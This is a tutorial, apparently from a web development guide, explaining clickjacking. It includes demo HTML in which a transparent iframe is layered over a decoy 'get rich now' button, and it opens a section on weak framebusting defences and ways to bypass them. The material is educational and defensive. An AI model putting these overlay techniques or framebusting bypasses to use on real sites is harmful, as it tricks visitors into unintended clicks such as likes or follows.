The “clickjacking” attack allows an evil page to click on a “victim site” on behalf of the visitor.
Many sites were hacked this way, including Twitter, Facebook, Paypal and other sites. They have all been fixed, of course.
The idea
The idea is very simple.
Here’s how clickjacking was done with Facebook:
- A visitor is lured to the evil page. It doesn’t matter how.
- The page has a harmless-looking link on it (like “get rich now” or “click here, very funny”).
- Over that link the evil page positions a transparent
<iframe>withsrcfrom facebook.com, in such a way that the “Like” button is right above that link. Usually that’s done withz-index. - In attempting to click the link, the visitor in fact clicks the button.
The demo
Here’s how the evil page looks. To make things clear, the <iframe> is half-transparent (in real evil pages it’s fully transparent):
<style>
iframe { /* iframe from the victim site */
width: 400px;
height: 100px;
position: absolute;
top:0; left:-20px;
opacity: 0.5; /* in real opacity:0 */
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
The full demo of the attack:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>Here we have a half-transparent <iframe src="facebook.html">, and in the example we can see it hovering over the button. A click on the button actually clicks on the iframe, but that’s not visible to the user, because the iframe is transparent.
As a result, if the visitor is authorized on Facebook (“remember me” is usually turned on), then it adds a “Like”. On Twitter that would be a “Follow” button.
Here’s the same example, but closer to reality, with opacity:0 for <iframe>:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>All we need to attack – is to position the <iframe> on the evil page in such a way that the button is right over the link. So that when a user clicks the link, they actually click the button. That’s usually doable with CSS.
The attack only affects mouse actions (or similar, like taps on mobile).
Keyboard input is much difficult to redirect. Technically, if we have a text field to hack, then we can position an iframe in such a way that text fields overlap each other. So when a visitor tries to focus on the input they see on the page, they actually focus on the input inside the iframe.
But then there’s a problem. Everything that the visitor types will be hidden, because the iframe is not visible.
People will usually stop typing when they can’t see their new characters printing on the screen.
Old-school defences (weak)
The oldest defence is a bit of JavaScript which forbids opening the page in a frame (so-called “framebusting”).
That looks like this:
if (top != window) {
top.location = window.location;
}
That is: if the window finds out that it’s not on top, then it automatically makes itself the top.
This not a reliable defence, because there are many ways to hack around it. Let’s cover a few.
Blocking top-navigation
We can block the transition caused by changing top.location in beforeunload event handler.